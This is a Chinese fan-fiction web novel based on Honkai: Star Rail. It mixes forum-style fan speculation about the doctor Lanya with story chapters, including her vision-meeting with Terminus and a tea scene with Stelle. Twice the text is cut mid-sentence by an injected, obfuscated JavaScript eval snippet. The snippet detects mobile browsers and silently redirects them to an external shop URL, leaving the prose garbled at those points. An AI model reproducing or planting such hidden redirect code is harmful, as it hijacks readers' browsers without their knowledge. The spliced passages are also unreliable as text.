还有,乱破的原话翻译过来是这样的: 「忍者」乃我等行走于忍道、奉行忍法之徒的名号。而那位大人,非忍道之人,凌驾于忍道之上。称其为「忍者」,是对其伟业的亵渎,当尊大人为命溯·御前。 把“忍者”替换成“命途行者”,把“忍道”替换成“命途”,意思就非常清楚了: 「命途行者」乃我等行走于命途、奉行命途概念之人的名号。而兰涯,不是命途之人。她凌驾于命途之上。称其为「命途行者」,是对其伟业的亵渎。 59L: > 58L:这个解读太关键了。之前我们一直在讨论兰涯到底是终末还是开拓,是双命途还是什么。但乱破的话给出了一个完全不同的答案——她根本不属于“命途行者”这个范畴。 “不是命途之人,凌驾于命途之上。” 这句话如果属实,那她是什么? 60L: > 59L:记得智库里关联势力天才俱乐部的内容吗? 我直接划重点:原始博士将医师标记为“最高价值研究样本”。 把这条和乱破的“凌驾于命途之上”放在一起看。 她能被原始博士标记为“最高价值研究样本”,很有可能她就是原始博士返祖计划研究中梦寐以求的星神时代之前的古人类。 所以她到底多大? 还有,波尔卡·卡卡目刺杀她的时候,有星神目光介入,最终刺杀未遂。 能让寂静领主刺杀失败,细思极恐。 61L: > 60L: 所以列车茶会那段她跟星期日说的话也有了新的理解。 “也曾有朋友劝我,历经世间百态,见过欢乐,见过痛苦,见过繁华,见过荒芜。当你真正看透这宇宙的真相,真正读懂自己的内心,再做决定,也不迟。我想,每个人的答案不一样,但是停滞不前总是无法答题的。行走的路长了,宽了,大概就有自己的答案了。” 她说的“行走的路”,可能不是比喻,是字面意思。可能是她已经走了很久很久,久到星神都换了几茬,她还在走。 62L: 从“终末命途”到“双命途”,再到“根本不在命途体系内”,这个角色的设定每更新一次就升一级,编剧到底给她埋了多大的坑? 63L: 兰涯抓住蕉授后说了几句话,我听得后背发凉。 “你们把人类当作薪柴,那就要知道,薪炎永燃,可以燎原。” “我来猜猜,你打算给那头猩猩发信号?来,发吧,告诉他,他想要的‘最高价值研究样本’就在这里等着他。” 她可能亲历了血色翁瓦克事件,而且她救不了他们。 64L: 虽然但是,她说那几句话的时候是笑着的。那个笑……怎么说呢,虽然是渗人了一点,明明是在威胁一只猴子,明明眼神冷得能把人冻住,但她笑起来的样子真的很好看。 我有罪。她真好看。我有罪。她真好看。 65L: > 64L:来人,把这个颜狗叉出去。 66L: > 64L:来人,把这个颜狗叉出去。 67L: 列车茶会那段。 兰涯把封着蕉授的球泡进了姬子的咖啡里。 咖啡最有用的一集。 68L: > 67L:我替姬子的咖啡感到委屈。它虽然难喝,但罪不至此。 69L: 列车茶会那段信息量其实很大。 兰涯说:“在匹诺康尼要做的三件事都做完了,还遇到了故人相逢的意外之喜。” 我算了算,给三位无名客献花是一件事,抓蕉授是一件事,故人相逢就是黄泉,算意外之喜,那么剩下那件事就是卡芙卡的委托了。卡芙卡到底委托了啥? 还有她和停云的对话明示了仙舟驱逐令的存在: 兰涯:“命运为你留下了一线生机。而「毁灭」的烙印仍在蠢蠢欲动。如果你以后遇到难以控制的紧急情况,可以联系我。仅限仙舟以外的区域。”停云立刻接上:“小女子先拜谢医师善心。未来若有叨扰,也不会让医师为难。” 兰涯说的是“仅限仙舟以外的区域”,停云立刻递台阶说“不会让医师为难”。两个人都在绕着“兰涯被仙舟流放”这个事实走,但都心知肚明对方知道。 以及她摸停云尾巴那段。停云那个蓬松的大尾巴,毛茸茸谁不喜欢! 70L: > 69L:那段我反复看了五遍。她摸尾巴的手法非常专业,停云很享受,一看就是经常摸狐狸尾巴的人。 71L: 停云和兰涯的对话还有一个值得注意的点。兰涯说“阮·梅女士对于你的身体重塑非常尽心尽力,我从中学到了很多”。 阮·梅的能力我们都知道,兰涯说“从中学到了很多”,说明她在生物医学领域一直在学习新东西。 一个活了至少十个琥珀纪,疑似星神时代之前的古人类,还在学习。 72L: 最后波提欧和兰涯的对话太有意思了。 波提欧明显是想问巡海游侠老大的下落,犹豫了半天才开口:“老大他——你知道他在哪里吗?” 兰涯的回答:“实不相瞒,我也不知道,已经很久没有联系了,也许是为了躲债手机欠费停机了?如果你能找到他,记得帮我转告,他欠了我很大一笔钱。” 注意看波提欧听到这个回答的表情,明显是懵了。 这个反应说明兰涯确实和巡海游侠老大关系匪浅,熟到可以开这种玩笑。 73L: > 72L:“躲债手机欠费停机”这个说法太好笑了。 巡海游侠老大欠兰涯很大一笔钱?讲真,以目前编剧塑造的兰涯性格,不像是盯着钱斤斤计较,会追债的人。 74L: 对了,你们有没有注意到兰涯离开列车时的那个细节。她走出站台,没有飞船,没有交通工具,就是走进夜色里,人不见了。 76L: 所以她是真的肉身跃迁走了?从匹诺康尼直接跃迁到不知道哪里?这是人??? 77L: > 76L:这真的不是人。 78L: > 77L: 说话文明点(老杨音)。 所以绝境医师到底是谁?我们扒了这么多楼,知道了这么多。 但关于她最核心的问题:她是谁?她从哪来? 一个答案都没有。 79L: > 78L:这就是崩铁的编剧风格。给你足够多的碎片让你拼出一部分轮廓,但真正的核心永远藏在后面。 ---未完待续,下次一定--- 50.间章·玩家论坛体(二) ——分割线,楼主回来了—— 楼主: 朋友们,我回来了。 明霄竞武试锋芒的剧情过完了。我现在坐在屏幕前面,脑子里只有一个念头: 兰妈妈。 她真的是兰妈妈。 不是比喻,不是爱称,是字面意思。白珩叫她兰妈妈。她为了白珩,把自己从仙舟永久流放了。 --- 103L: 楼主你缓一缓,我还没缓过来呢。让我先嚎一嗓子。 兰妈妈!!! 从今天起我就是兰妈妈的新好大儿!谁也别拦我! 104L: 这楼的风味怎么突然从考据楼变成认亲现场了。 但是,算我一个。 兰妈妈!!—— 105L: 你们能不能严肃一点?这里是考据楼,不是认妈楼。 兰妈妈!!!(破音) 106L: 好,情绪宣泄完了,开始干活。 明霄竞武试锋芒这条线把之前所有关于兰涯被仙舟流放的碎片全部串起来了。我按时间线从头理一遍。 一切的起点,是白焰对兰涯说的一句话。 “兰涯,我想拜托你一件事。以后白珩遇到难处,你能不能帮帮她?不用特意去找她。就如果碰到了,如果她需要帮忙,你搭把手就行。” 这是白焰的原话“搭把手就行。” 然后兰涯怎么做的? 终末的预言告诉她,白珩会死在倏忽之战中。白珩死后,丹枫为了复活她会使用化龙妙法和倏忽碎片,引发饮月之乱。饮月之乱的结果是丹枫强制蜕生,丹恒带着破碎记忆离开仙舟登上列车。 兰涯不愿让白珩送死。她替白珩上了战场。手捧黑色太阳,吞噬了丰饶令使倏忽。 然后她找到丹枫,两人把持明族所有的龙师全部砸回了持明卵。 代价是她被仙舟联盟处以流放之刑,永远不得踏入任何一艘仙舟。 这就是白焰说的“搭把手”。 107L: “搭把手”三个字从白焰嘴里说出来的时候,大概也没想到兰涯会搭到这种程度。 替上战场,硬刚丰饶令使,联手龙尊把持明族权力核心一锅端,自己被永久流放。 这哪是搭把手,这是把整个人都搭进去了。 108L: 所以巡海游侠们见到兰涯的时候那个态度,我现在完全理解了。 兰涯不是巡海游侠,但她做出来的事,比任何一个巡海游侠都更巡海游侠。 白焰只是她一个朋友,她答应朋友的遗愿,哪怕代价是自己的自由。 丹恒在智库那段评价说得很准,当得起一个 “义”字。 109L: 景元的评价更完整。神策将军到底是文化人,丹恒说完“义”之后,景元接了十个字:“仰不愧于天,俯不怍于人。” 翻译:抬头对得起天,低头对得起人。 兰妈妈这辈子,就是这么过的。 110L: 说到景元,我必须专门开一层夸一夸这位神策将军。 当年那件事,兰涯是执行者,丹枫是后续敲蛋的合作者,景元是什么角色?景元是那个负责把白珩骗出来打晕的人。 兰涯的计划需要白珩“被保护”而不是“主动配合”,因为如果白珩知情,以她的性格一定会冲上战场。所以景元负责让白珩“被留下”。 然后他保守了这个秘密,几百年,一个人。 云上五骁散了三个,白珩远行,最后只剩他一个人坐在将军府里。那些老资历,那些盘根错节的势力,他一个人全部镇压,把年轻一代一个一个提拔上来。 他做这些是为了什么? 剧情里他自己说了。 “我这么多年整治罗浮政局,把那些盘根错节的势力一根一根清理干净,把年轻一代提拔上来。就是为了有一天,能把兰医师的驱逐令撤销。” 兰涯说:“其实我已经无所谓了。” “我有所谓。仙舟有所谓。” 神策将军。牛。 111L: > 110L:景元这段台词我是真的起鸡皮疙瘩了。他从来不在人前说这些。永远打太极,永远“将军我还有公务要处理”,永远把最重的东西藏在最轻的表情后面。只有这一次,对着兰涯和丹恒,他把压了几百年的话说出来了。 不是为了诉苦,是为了告诉兰涯:你没有白扛。你扛下来的东西,我这辈子都在帮你往回搬。 112L: 灵砂在这段剧情里的表现也值得专门记一笔。 她是土生土长的罗浮持明族人,丹鼎司新任司鼎。她师父当年因为不支持判兰涯重刑,被赶出了罗浮。她跟着师父一起漂泊。所以她在病房里说那句话的时候,底气比谁都足。 “我看当年那件事,人家也没什么错。持明那群龙师有什么好东西,成个蛋重生还能好好做人呢。只是后面运气不好,哪能怪谁。” 后面她还补了一句更狠的。鳞渊之乱波及到的持明卵,大多都是那批被兰涯和丹枫砸回蛋的龙师蜕生的。灵砂的评价就两个字。 “活该。” 说完才反应过来丹恒也是鳞渊之乱的受害者,赶紧道歉。 113L: 灵砂这句“活该”虽然情绪化,但仔细一想确实是事实。 鳞渊之乱的本质是龙尊狂热分子想强行让新生的龙尊带着丹枫的全部记忆和力量苏醒。他们用的手段,前尘回梦针、倏忽枝条,都是禁忌中的禁忌。 如果兰涯没有提前把龙师砸回蛋,以那些龙师的手腕和野心,鳞渊之乱只会更惨烈。龙师们会亲自下场,持明族的内乱会波及整个罗浮。 从这个角度看,兰涯和丹枫砸龙师,也为持明族切除了一颗会长成大患的毒瘤。灵砂作为持明族人,看到的是这一层。 114L: 关于丹枫,这层楼我必须单开。 明霄竞武之前,我们对丹枫的认知是:饮月君、龙尊、丹恒前世。明霄竞武之后,我对丹枫多了一个认知 ——是个狠人。 兰涯跟他说“把所有的龙师都打回蛋的状态”的时候,丹枫的反应不是“你疯了”,不是“这不可能”,是“你知道这意味着什么吗?” 他在问后果。他清楚地知道后果是什么。持明族会大乱。龙师们都成蛋了。仙舟老资历们会暴怒。他自己会吃苦头。他全都知道。 然后兰涯说:“丹枫,你必须走。” 他说:“好。” 一个字,狠。 丹枫的悲剧性就在这里。他明明知道前面是什么,明明知道代价是什么,还是走进去了。 因为他比谁都清楚,龙师们压在持明族身上的那套东西,必须有人来砸。 不是兰涯,也会是别人。不是今天,也会是明天。 兰涯只是给了他一个契机,一个“爽了再说”的理由。他就去了。 115L: 丹枫是个狠人。但最苦的还是丹恒。 丹枫砸完龙师,自己蜕生。丹恒在鳞渊之乱里吃尽苦头,作为新生的个体,带着破碎的前世记忆长大。刃一路追杀他,他不知道自己前世做过什么,只知道有人在追杀自己。那种感觉,想想都窒息。 所以兰涯在智库对丹恒说的第一句话是:“丹恒,当年的事,我对不起你。” 她替白珩上战场,替白珩挡下死亡,替丹枫砸了龙师,替仙舟切了毒瘤。所有这些事里,丹恒最惨,当然应星和镜流也惨。 他什么都没做,却承担了丹枫行为的全部后果。兰涯对这件事愧疚了几百年。 116L: 丹恒怎么回应的? “我不怪丹枫,也不怪你。我只想知道一切是为什么?” 然后听完整个真相之后,他按照自己对丹枫的理解,如果白珩真的死了,丹枫为了复活她,用化龙妙法和倏忽的碎片。结果会比现在更糟。 他自己推出的结论是,兰涯选择的那条路,是苦的,但从结果来看,是所有可能性里最不坏的一种。 白珩活下来了,寿终正寝。丹枫没有犯下不可挽回的大错。丹恒自己虽然吃尽了苦头,但最终登上了星穹列车,遇到了三月七和星,走上了开拓的道路。 “丹枫梦想中的自己,大概就是我现在的样子。” 这句话说出口的时候,丹恒的表情是真正放下的释然。 117L: 说到“比现在更糟”的可能性,就不得不提艾利欧了。 剧情里有一个细节。兰涯说黑猫,我们默认是艾利欧了,告诉她白珩会死,丹枫会引发饮月之乱,丹恒会上列车。 也就是说,如果兰涯什么都不做,按照“原剧本”走: 白珩战死。丹枫用化龙妙法+倏忽碎片复活白珩,引发饮月之乱。丹枫强制蜕生。丹恒带着破碎记忆登上列车。 结果是一样的终点:丹恒上列车,但过程惨烈得多。白珩活不下来,丹枫会犯下更大的错,波及的人会更多。 兰涯做的事情,是在不改变“终点”的前提下,把通往终点的路修得平了一点。让白珩能寿终正寝,让丹枫不至于万劫不复。 代价是自己扛。 118L ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505879|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' : > 117L:所以兰涯在匹诺康尼跟星期日说的那句话:“人如何有尊严地活下去?” 现在再看,分量完全不一样了。 她自己就是这么活的。她可能不能改变终点,但她可以改变通往终点的路。 119L: 最刀的一段来了。景元说白珩去世的事情。 白珩最后一次从兰涯的岛上回来,带了一束花,白色和浅紫色的小花,用棉纱条捆着。 “她跟我说,景元,到时候把这束花放在我的星槎中间,祭奠结束之后,再发消息给兰妈妈。” “她连医师知道她死讯时的心情都考虑到了。祭奠结束之后再发消息。意思是不用让医师人来不了,还心里牵挂着。” 白珩什么都知道,她知道兰涯来不了,她知道兰涯会牵挂着。 所以她用一束花,替兰涯把自己送走了。 那束花,就是兰涯在匹诺康尼放在三位无名客墓碑前的那种,白色和浅紫色的小花,用棉纱条扎着。 她在流梦礁放的花,是白珩教她扎的。 120L: >119L:别说了,我眼泪又下来了。 想象一下,白珩最后一次见兰妈妈的时候,她已经知道自己时日无多了。 她什么都没说,只是带走了一束花。 121L: 说回剧情本身。明霄竞武这条线还留了一个巨大的坑——黑色太阳。 兰涯假扮白珩上战场,手捧黑色太阳吞噬了倏忽。这个“黑色太阳”到底是什么?剧情里没有展开,只说是兰涯的力量。但兰涯的力量是双针,是终末+开拓,从来没提过什么黑色太阳。 白珩在倏忽之乱中的官方记载也是“手捧黑色太阳吞噬丰饶令使”。这说明当时在场的其他人看到的就是这个画面。兰涯假扮成白珩,使用了某种可以吞噬丰饶令使的力量,这种力量在外观上表现为“黑色太阳”。 这肯定不是终末的力量,也不是开拓的力量。终末是金色,开拓是银色,双针的光芒从来都是这两种颜色。 黑色太阳,可能是还没有在剧情中正式揭露的第三种力量。 我怀疑景元知道这个黑色太阳是什么,剧情里他对丹恒说知道兰涯以假乱真替白珩上战场的计划的,只有4个人,白珩本人是最后知道的,丹枫从始至终都不知道这事。(再次感叹枫哥狠人,什么都不知道,说砸就砸。) 那么兰涯、景元、白珩,只有三个人,第四个人是谁? 122L: > 121L:编剧常规操作,填坑再挖坑。 第四人和黑色太阳应该是后续剧情的伏笔。 123L: 还有一个细节。景元说终末的预言里,丹恒必须登上星穹列车。为什么是丹恒?为什么必须是列车? 联系到之前的主线剧情,列车本身可能就是整个剧本的核心变量。阿基维利的银轨连接诸界,无名客们走在开拓的命途上,不断连接新的世界。 丹恒作为持明龙尊蜕生后的个体,抛弃了往昔的枷锁,成为无名客。这个过程本身,可能就是终末想要看到的“结局”。 而兰涯的任务可能不是改变这个结局,是确保通往结局的路上,少死一些人。 124L: 所以到头来,兰妈妈做的所有事,归根结底就是三个字:少死人。 白珩不能死。丹枫不能万劫不复。丹恒吃的苦头,她愧疚了几百年。 她做的每一件事,都是在已经注定的终点面前,给活着的人多争取一点空间,一点温度,一点尊严。 兰妈妈!抱着腿大哭! 125L: > 124L:丹恒把这些事告诉了列车组相亲相爱一家人,爷在剧情里已经呜呜呜地抱过兰妈妈大腿了。 兰妈妈摸我头了,我是妈妈的好孩子!(抬头挺胸叉腰) 126L: > 125L:兰妈妈的好孩子明明是我! 127L: > 126L:兰妈妈的好孩子明明是我! 兰妈妈怎么还不进卡池,急急急! 128L: 舅舅党那里也没有进卡池的消息,难道和螺丝咕姆一样又成超级卫星了? 129L: 啊啊啊做了不出,罪大恶极! 130L: 我们去老米门口自刎归天,一定会落地的! 131L: > 130L:我也要自刎吗? 132L: > 131L:又寸! ---未完待续,下次一定--- 51.第 49 章 星核猎手的飞船,远看像是被什么人炸了半截的火车,在星核猎手这里上转〇回收了,里面的功能性压倒一切,房间空间的放大导致车厢走廊很窄,两个人并排走的话,肩膀会蹭到墙壁。 兰涯跟在卡芙卡身后,靴子踩在地板上,每一步都发出很轻的闷响。 走廊尽头是一扇推拉门。卡芙卡伸手按了一下门侧的感应板,门滑开了。 银狼盘腿坐在一张悬浮椅上,游戏机的屏幕光映在她脸上,把她的表情染成一层一层的彩色。她听到门开的声音,眼皮都没抬,拇指在手柄上飞快地按着。 “来了?”她说,语气和在匹诺康尼时一模一样。 刃靠在对面的舱壁上。他的姿势和丹恒日常的姿势很像,双臂抱在胸前,低着头,发丝从脸侧垂下来,挡住了大半张脸。听到声响,他抬头,向兰涯点了一下头。 流萤躺在舱室中央的维生舱里。她的眼睛闭着,睫毛在微微浮动。 维生舱旁边蹲着一只黑猫。 兰涯停下了脚步,她的目光从黑猫身上移到卡芙卡脸上,又移回黑猫身上。 “艾利欧。”她确认道。 黑猫站起来,四只爪子踩在金属地板上,没有发出任何声音。尾巴竖起来,尾尖微微弯了一个弧度。它朝舱室另一侧的一扇小门走去,走了几步停下来,侧过头,金色的眼睛看着兰涯。 卡芙卡开口了:“翁法罗斯牵涉到博识尊的第四时刻和宇宙的终末,牵一发而动全身。”她显然是不想让兰涯对星核猎手反感,解释着,“艾利欧看到了星这个变量能带来未来,但是你,他无法观测。” 她的紫色眼睛从兰涯脸上移到黑猫身上,又移回来:“为了求稳,才前来邀请。” 黑猫甩了甩尾巴,幅度不大,刚好够表达“她说完了,该我了”的意思。它继续朝那扇小门走去,兰涯跟了上去。 小门后面是一个独立的隔间。比外面的舱室更小,四壁都是深色的吸光材料,灯光调得极暗,看起来的确是看电影的地方。 门在身后关上,黑猫金色的眼睛在昏暗中亮着,像两粒被暗色天鹅绒衬着的黄宝石,它的尾巴尖在空气中轻轻点了一下。 隔间消失了。 这里是命途狭间。 兰涯低头找黑猫,黑猫消失了。 她只能往前走,脚步踩在虚空中,没有声音。 前面有一个人。 灰色的头发,甚至有些发白。发丝随意地散落着,像是被风吹乱的,又像是故意没有打理。一双金色的眼睛,眸色很沉,沉得像深潭底部沉积了太久的矿物质。 整个人站在那里,从头到脚透出一种极度的、几乎要将他整个人压垮的疲倦。他的眼皮半垂着,金色的瞳孔被遮住了一半,看起来像是马上就要原地睡过去,但有什么东西在强迫他保持清醒。 阿基维利。和阿哈假扮的一模一样,甚是可以说是星另一种名为Y染色体的可能性。 兰涯看着那张脸。 不对。 她意识到了,这不是阿基维利。 阿基维利哪怕累了,也是跑遍整个宇宙之后心满意足的累。眼前这个人的疲倦是从终点折返之后,知道前面还有无数个终点在等着的那种累。 阿基维利的金色眼睛是亮的,这个人的金色眼睛是暗的。 “特耳米努斯。”兰涯说。 特耳米努斯。末王。从终点再度启程的那一位。 灰白色头发的男人微微直了直脊背,幅度很小,像是这个动作本身已经消耗了他为数不多的体力。 他的眼皮抬起来一点,金色的瞳孔完整地露出来。他看着兰涯,嘴唇动了动:“妈妈。” 声音带着疲倦的沙哑,他叫完这一声之后,停了一下,像是要花点力气让自己不那么累,“以我目前的状态,只能以这种方式和你见面。还请见谅。” 特耳米努斯终于努力调整好了自己的状态,继续说:“我在终点受人所托,我答应了她们。要让你打破枷锁,找到自己喜欢的结局。” 兰涯取下来两枚针,托在掌心里,再次确认:“这双针,是你送的吗?” 特耳米努斯摇摇头,他似乎觉得摇头也很累,所以幅度很小,头从左边转到右边,意思了一下。 “我也不知道。”他说,“我只能确定一件事。这一次的旅程,你已经走在了不一样的路上。” 特耳米努斯忽然动了,他转过身,朝虚空中某个方向走了两步,弯下腰,从不知道什么地方拖出来两个鼓鼓囊囊的懒人沙发。 和阿哈在拉曼查房间里变出来的那种能装下大地兽的沙发不一样,这两个更软,更适合单人。 至少对于特耳米努斯是这样,他刚才拖沙发的动作仿佛已经耗尽了体力,示意兰涯坐下后,他自己在另一个上坐下来。 坐下去的时候,他整个人陷进绒布里,只露出灰白色的发顶和半张脸,眼皮又垂下去了。 “妈妈,我请你看电影。” 整个命途狭间的颜色定格住了,接着就像电视机里沙沙沙的雪花一样,画面出现了。 星。在翁法罗斯。 兰涯看着画面中的星扛着球棒走在翁法罗斯的街道上。银河球棒侠在翁法罗斯的冒险,和她在匹诺康尼、在仙舟、在贝洛伯格时一模一样。热忱的,被倒下的石柱砸了脑袋也不长记性的,下次还填非常简单的。 但她很快发现了不对劲。 翁法罗斯的黄金裔,他们的运行方式,和命途的运算逻辑完全一致。 更准确地说,黑塔空间站模拟宇宙中的命途只是翁法罗斯黄金裔力量体系的简化版本。这里的更底层,更接近命途最初的形态。 泰坦并非神明。他们是逻辑运算单元。 兰涯从看电影模式彻底清醒过来,眼神变得更加专注。 她比任何人都更清楚命途的底层结构是什么样的。 翁法罗斯的这些泰坦,每一个都对应着现实宇宙中的一条命途。 有人把命途的底层代码拆解开来,重新编译,写进了翁法罗斯的底层程序中。 “这是什么人编写出来的模拟程序?”兰涯问。 特耳米努斯的声音从旁边传过来:“天才俱乐部第一席。赞达尔·壹·桑原。「博识尊」的创造者。” 天才俱乐部真是神人和废物辈出。 兰涯感叹:“能创造出星神的天才,他看到的东西很多。” “他最大的败笔是提前预设了答案。”她语调平缓,像是在下医疗诊断书,“将权杖的演算方向从「求知」转向「毁灭」。虽然达成了他的目的——提前推导出「反有机方程Y」,培育了毁灭智识的绝灭大君,但是他遗漏了原本演算方向「生命的第一因X」的底层逻辑。” “这种预设答案的演算,还不如不演算。如此一来,宇宙依旧要重启。赞达尔想要通过重启宇宙来避开终末,但以当前宇宙的系统逻辑,重启后的宇宙并没有赞达尔想要的结局。他的方程从一开始就写错了。” 特耳米努斯从懒人沙发里侧过头看着她。金色的眼睛在画面光线下不仅不亮,反而显得格外沉:“你评价了那么多,没有想过翁法罗斯孵化的铁幕一旦破壳,你会很痛苦吗?” 兰涯的目光还落在画面中的翁法罗斯上。轮回三千多万次的白厄、昔涟,背负破局希望的开拓之人星、三月七和丹恒,前赴后继的黄金裔们,他们眼睛里是不屈的坚韧。 “习惯了。”她说。 特耳米努斯从自己的懒人沙发里爬出来,把头埋进兰涯的膝盖上。 灰色的、有些发白的发丝散落在兰涯的膝盖上,他的肩膀在微微发抖。 兰涯的手抬起来,落在他的后脑勺上。灰白色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505880|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的发丝从她指缝间穿过,和星的头发不一样,很干、很轻,像存放了太久的纸张。 铁幕之战开始了。 第一波疼痛从脊椎底部炸开,沿着脊柱往上蔓延。 兰涯的身体从沙发上滑落,跪在地上。 然后是第二波,从胸腔内部往外扩散,像是有什么东西在她肋骨内侧膨胀,挤开心肺,挤开血管,挤开她能感知到的一切。 呼吸停了一毫秒。 铁幕覆盖一切,清零一切,持续了一毫秒。 兰涯的视野变成了一片纯白,她感知不到任何东西,只剩下疼,纯粹的、从物理载体冲击至精神末梢的疼。 然后昔涟用记忆的力量把一切复原。 白色退去,命途狭间的光线恢复了,她恍惚间看到特耳米努斯跪在自己身边,自己好像倒在了地上。 这一毫秒对于宇宙中的大部分生灵来说,没有感觉,仿佛什么都没有发生。 血从兰涯的咽喉里涌出来,从嘴角流下。 特耳米努斯的手指垫在她的后脑勺和虚空之间,他把兰涯的头放在自己的膝盖上,手指按在她的颈侧,感觉到动脉还在跳动。 “妈妈。”他说,声音带着哽咽。 命途狭间的光线在他周围缓慢循环。 然后他听到了。 「我在」。 声音很轻,不是从兰涯这里响起的,而是在狭间之外,有什么人在温柔地注视着这里。 兰涯的眼皮动了一下,她睁开眼睛,特耳米努斯的脸在她的视野中从模糊到清晰,逐渐成形。 灰白色的发丝凌乱地散着,金色的眼睛里蓄满了水。 兰涯笑了,嘴角还残留着血迹,她抬起手,手指擦过特耳米努斯脸颊上那两道泪痕,把残留的水痕抹掉。 “没事的。”她说,声音被刚才的剧痛碾过一遍的沙哑,“我没事。” 特耳米努斯把她扶起来,动作很慢,很小心,感觉在搬一件他确定自己搬不动,但必须搬起来的东西。 兰涯坐回懒人沙发上,她的呼吸还没有完全平稳,起伏的幅度比平时深。 特耳米努斯没有回自己的沙发,在她脚边坐下来。他的另一只手抬起来,在虚空中划了一下。 画面重新出现了。 是名为《故事之外:第8场》的其他结局。 兰涯看着这些画面一个接一个地出现,见到了很多自己认识的人,列车上的无名客们、黑塔、镜流、悲悼伶人、翁法罗斯的黄金裔们。 最后,画面熄灭,她听到了昔涟的声音:“众人将与一人离别,惟其人将觐见奇迹。” “我看到了很多结局,列神之战无法避免。”特耳米努斯说,声音沙哑,但比之前连贯了一些,“排除你的变量,只有一种能让列神之战走向相对好的结局。” 他的金色眼睛看着兰涯。 “纳努克成为最终的BOSS。” 周围的光线慢慢地循环了整整两轮,兰涯才开口:“我需要一个契机。” 命途狭间的光线开始变暗。 “这一次,你会找到的。” 兰涯睁开眼睛,自己回到了电影隔间。 隔间里没有黑猫,没有特耳米努斯。 她的嘴角还留着那一片干涸的血迹,她抬起手,用手背擦了一下。 门开了。卡芙卡站在门口,她的目光在兰涯嘴角残留的血迹上停了一瞬,然后移开。 “看完了?”她问。 兰涯从沙发上站起来:“看完了。” 外舱里,只有在维生舱里的流萤和盘腿坐着打游戏的银狼,银狼抬头看了一眼,随口吐槽:“这个电影看得真够久的,都过去八个版本更新了。” 黑猫蹲在角落里听星际和平播报,铁幕之战落幕,博识学会观测到新生的星体,名为翁法罗斯。 52.第 50 章 星在二相乐园有膝盖地蹦跶了一整天。 回到列车的时候,车厢里暖黄色的灯光亮着,圆桌旁坐着两个人。 姬子手里端着咖啡。她对面的位置上,兰涯端着一杯茶。两个人中间隔着一碟点心,点心被吃过几块,剩下的整整齐齐排在碟子边缘。 星扑上去了。 “兰妈妈!——”她一把抱住兰涯的腰,脸埋在她肩膀上,蹭了好几下。然后她又从兰涯肩膀上抬起头,转向姬子,张开双臂,“姬子妈妈!——”姬子被她抱了个结实。 兰涯把茶杯放在杯碟上,看着星从她身上爬起来又扑向姬子的全过程。 “你的妈妈也太多了吧。”她说。 星松开姬子,双手叉腰,下巴往上一扬,得意得眉毛都要飞起来:“还有卡芙卡妈妈!黑塔也四舍五入算养母了!” 兰涯给茶杯加了茶水,吹了吹杯口的热气:“这事黑塔本人知道吗?” 星没有被问住,反而更来劲了:“我还有外公了!就是——” “别闹了。”姬子语气无奈到了一种近乎认命的程度。 星嘿嘿笑了两声,在圆桌旁边坐下来。她坐下来可安静不了,开始对兰涯讲自己在绘世学院的光辉战绩。 她讲得眉飞色舞,两只手在空中比划,讲到重新合成覆世沧浪图后,掀起的浪头怎么把打断火花的变身宣言,怎么顺便把模因病毒冲得渣都不剩的时候,她整个人从椅子上站起来做出被浪打到的姿势,然后又坐回去继续讲。 兰涯刚刚已经在姬子那里听过了,这件事是姬子和星一起解决的。 不过她没有打断,而是耐心地听来自星的版本,星讲到紧张的时候,她会微微前倾一点,星讲到好笑的时候,她嘴角会往上扬。 星讲完了,喘了口气,拿起桌上的点心塞进嘴里。 兰涯说:“想到用模因病毒以毒攻毒,最后用覆世沧浪图的浪冲光,做得很好。” 星的腮帮子鼓着点心,咀嚼的速度慢下来了。她咽下去,端起茶杯灌了一口,耳朵尖有点泛红。 “是姬子妈妈的主意。”她说,声音比刚才小了一半。 “有了主意,执行力也不能少。”兰涯把茶杯放下来说,“这是一招险棋。模因病毒感染时间不算长,最后能冲干净。如果渗入自我认知定义了,那就很麻烦了。” 姬子问:“如果真的渗入自我认知定义了,怎么办?” “以我目前的研究,一般人会认为需要用外力剥离定义。但这种外力只适用于感染初期,中后期最好由个体自我溶解。”兰涯显然研究了很久的模因病毒,“这是一个还在实验阶段的过程,溶解效果是有的,一旦通过自我开始溶解定义,后面借助外力来推动只是最后一个杠杆而已。” 星听着,忽然想起什么,把嘴里的点心碎屑舔干净:“兰妈妈,你怎么会来二相乐园的?” 兰涯答:“很早以前接了一位病人的委托,一直拖到现在。被病人家属催了,所以来了。” 星的眼睛亮起来,球棒不知道什么时候又出现在她手里:“还有医闹环节?病人在哪里?病人家属又在哪里?我银河球棒侠堂堂登场!” 兰涯看着她,没有笑出声,但眼睛里的光是笑的:“你这孩子。” 星放下球棒:“兰妈妈,家属催了,你不去看病人吗?” 兰涯端起茶杯,抿了一口,不紧不慢地说:“病源还没主动出现,贸然去找只会适得其反。会有热心人帮我找到的,我只要等就可以了。” 她抬起眼睛,看着星,似乎那个热心人就是星。 星被她看得愣了一下,然后若有所思地点了点头,但她肚子里那根花花肠子转的显然不是这件事。 第二天,星两只手交叠在身前,下巴微微收着,眼睛睁得很大,眼眶里蓄着一层薄薄的水光,努力让自己看起来像一只被大雨淋湿的小浣熊。这个表情她在镜子前面练过很多遍,非常有自信。 “兰妈妈,你现在不急着出诊对吧?” 兰涯看着她的小浣熊眼泪汪汪.jpg “不急着出诊。” 